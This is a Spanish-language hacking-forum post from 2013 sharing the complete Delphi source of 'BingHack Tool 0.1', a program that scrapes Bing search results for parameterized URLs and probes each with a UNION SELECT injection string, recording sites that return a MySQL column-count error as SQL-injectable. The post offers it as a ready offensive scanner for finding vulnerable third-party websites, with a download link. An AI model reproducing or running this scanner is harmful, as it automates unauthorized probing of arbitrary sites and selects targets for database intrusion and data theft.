Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: BigBear en 31 Mayo 2013, 20:53 pm



Título: [Delphi] BingHack Tool 0.1
Publicado por: BigBear en 31 Mayo 2013, 20:53 pm
Traduccion a delphi de este programa para buscar paginas vulnerables a SQLI usando bing.

Una imagen :

(http://doddyhackman.webcindario.com/images/binghackdelphi.jpg)

El codigo :

Código
  1. // BingHackTool 0.1
  2. // Coded By Doddy H
  3.  
  4. unit bing;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, sButton, sMemo, sSkinManager, PerlRegEx, IdBaseComponent,
  11.  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sEdit, sLabel, sGroupBox,
  12.  sListBox, ComCtrls, sStatusBar, ShellApi, jpeg, ExtCtrls;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    IdHTTP1: TIdHTTP;
  17.    PerlRegEx1: TPerlRegEx;
  18.    sSkinManager1: TsSkinManager;
  19.    PerlRegEx2: TPerlRegEx;
  20.    sGroupBox1: TsGroupBox;
  21.    sLabel1: TsLabel;
  22.    sEdit1: TsEdit;
  23.    sLabel2: TsLabel;
  24.    sEdit2: TsEdit;
  25.    sGroupBox2: TsGroupBox;
  26.    sListBox1: TsListBox;
  27.    sGroupBox3: TsGroupBox;
  28.    sListBox2: TsListBox;
  29.    sStatusBar1: TsStatusBar;
  30.    sGroupBox4: TsGroupBox;
  31.    sButton1: TsButton;
  32.    sButton2: TsButton;
  33.    sButton3: TsButton;
  34.    sButton4: TsButton;
  35.    Image1: TImage;
  36.    procedure sButton1Click(Sender: TObject);
  37.    procedure sButton4Click(Sender: TObject);
  38.    procedure sButton3Click(Sender: TObject);
  39.    procedure FormCreate(Sender: TObject);
  40.    procedure sButton2Click(Sender: TObject);
  41.    procedure sListBox1DblClick(Sender: TObject);
  42.    procedure sListBox2DblClick(Sender: TObject);
  43.  
  44.  private
  45.    { Private declarations }
  46.  public
  47.    { Public declarations }
  48.  end;
  49.  
  50. var
  51.  Form1: TForm1;
  52.  
  53. implementation
  54.  
  55. {$R *.dfm}
  56.  
  57. procedure savefile(filename, texto: string);
  58. var
  59.  ar: TextFile;
  60.  
  61. begin
  62.  
  63.  AssignFile(ar, filename);
  64.  FileMode := fmOpenWrite;
  65.  
  66.  if FileExists(filename) then
  67.    Append(ar)
  68.  else
  69.    Rewrite(ar);
  70.  
  71.  Writeln(ar, texto);
  72.  CloseFile(ar);
  73.  
  74. end;
  75.  
  76. procedure TForm1.FormCreate(Sender: TObject);
  77. var
  78.  dir: string;
  79. begin
  80.  
  81.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  82.  sSkinManager1.SkinName := 'falloutstyle';
  83.  sSkinManager1.Active := True;
  84.  
  85.  dir := ExtractFilePath(Application.ExeName) + '/logs';
  86.  
  87.  if not(DirectoryExists(dir)) then
  88.  begin
  89.    CreateDir(dir);
  90.  end;
  91.  
  92.  ChDir(dir);
  93.  
  94. end;
  95.  
  96. procedure TForm1.sButton1Click(Sender: TObject);
  97. var
  98.  code: string;
  99.  link1: string;
  100.  linkfinal: string;
  101.  z: integer;
  102.  i: integer;
  103.  ii: integer;
  104.  chau: TStringList;
  105.  target: string;
  106.  
  107. begin
  108.  
  109.  sListBox1.Items.Clear;
  110.  
  111.  target := StringReplace(sEdit1.text, ' ', '+', []);
  112.  
  113.  sStatusBar1.Panels[0].text := '[+] Loading ...';
  114.  Form1.sStatusBar1.Update;
  115.  
  116.  for i := 1 to StrToInt(sEdit2.text) do
  117.  begin
  118.    ii := i * 10;
  119.    sListBox1.Update;
  120.    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
  121.    Form1.sStatusBar1.Update;
  122.  
  123.    code := IdHTTP1.Get('http://www.bing.com/search?q=' + target + '&first=' +
  124.        IntToStr(ii));
  125.  
  126.    PerlRegEx1.Regex := '<h3><a href="(.*?)"';
  127.    PerlRegEx1.Subject := code;
  128.  
  129.    while PerlRegEx1.MatchAgain do
  130.    begin
  131.      for z := 1 to PerlRegEx1.SubExpressionCount do
  132.        link1 := PerlRegEx1.SubExpressions[z];
  133.  
  134.      PerlRegEx2.Regex := '(.*?)=(.*?)';
  135.      PerlRegEx2.Subject := link1;
  136.  
  137.      if PerlRegEx2.Match then
  138.      begin
  139.        linkfinal := PerlRegEx2.SubExpressions[1] + '=';
  140.        sListBox1.Items.Add(linkfinal);
  141.      end;
  142.    end;
  143.  end;
  144.  
  145.  chau := TStringList.Create;
  146.  
  147.  chau.Duplicates := dupIgnore;
  148.  chau.Sorted := True;
  149.  chau.Assign(sListBox1.Items);
  150.  sListBox1.Items.Clear;
  151.  sListBox1.Items.Assign(chau);
  152.  
  153.  for i := sListBox1.Items.Count - 1 downto 0 do
  154.  begin
  155.    savefile('bing-search.txt', sListBox1.Items[i]);
  156.  end;
  157.  
  158.  sStatusBar1.Panels[0].text := '[+] Done';
  159.  Form1.sStatusBar1.Update;
  160.  
  161. end;
  162.  
  163. procedure TForm1.sButton2Click(Sender: TObject);
  164. var
  165.  i: integer;
  166.  code: string;
  167.  
  168. begin
  169.  
  170.  sListBox2.Items.Clear;
  171.  
  172.  sStatusBar1.Panels[0].text := '[+] Loading ...';
  173.  Form1.sStatusBar1.Update;
  174.  
  175.  for i := sListBox1.Items.Count - 1 downto 0 do
  176.  begin
  177.    try
  178.      begin
  179.  
  180.        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
  181.        Form1.sStatusBar1.Update;
  182.        sListBox2.Update;
  183.        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');
  184.  
  185.        PerlRegEx1.Regex :=
  186.          'The used SELECT statements have a different number of columns';
  187.        PerlRegEx1.Subject := code;
  188.  
  189.        if PerlRegEx1.Match then
  190.        begin
  191.          sListBox2.Items.Add(sListBox1.Items[i]);
  192.          savefile('sqli-founds.txt', sListBox1.Items[i]);
  193.        end;
  194.  
  195.      end;
  196.    except
  197.      on E: EIdHttpProtocolException do
  198.        ;
  199.      on E: Exception do
  200.        ;
  201.    end;
  202.  
  203.    sStatusBar1.Panels[0].text := '[+] Done';
  204.    Form1.sStatusBar1.Update;
  205.  
  206.  end;
  207.  
  208. end;
  209.  
  210. procedure TForm1.sButton3Click(Sender: TObject);
  211. begin
  212.  ShowMessage('Contact to lepuke[at]hotmail[com]');
  213. end;
  214.  
  215. procedure TForm1.sButton4Click(Sender: TObject);
  216. begin
  217.  Form1.Close();
  218. end;
  219.  
  220. procedure TForm1.sListBox1DblClick(Sender: TObject);
  221. begin
  222.  ShellExecute(Handle, 'open', 'bing-search.txt', nil, nil, SW_SHOWNORMAL);
  223. end;
  224.  
  225. procedure TForm1.sListBox2DblClick(Sender: TObject);
  226. begin
  227.  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
  228. end;
  229.  
  230. end.
  231.  
  232. // The End ?
  233.  

Si quieren bajar el programa pueden hacerlo de aca (https://sourceforge.net/projects/binghacktool/).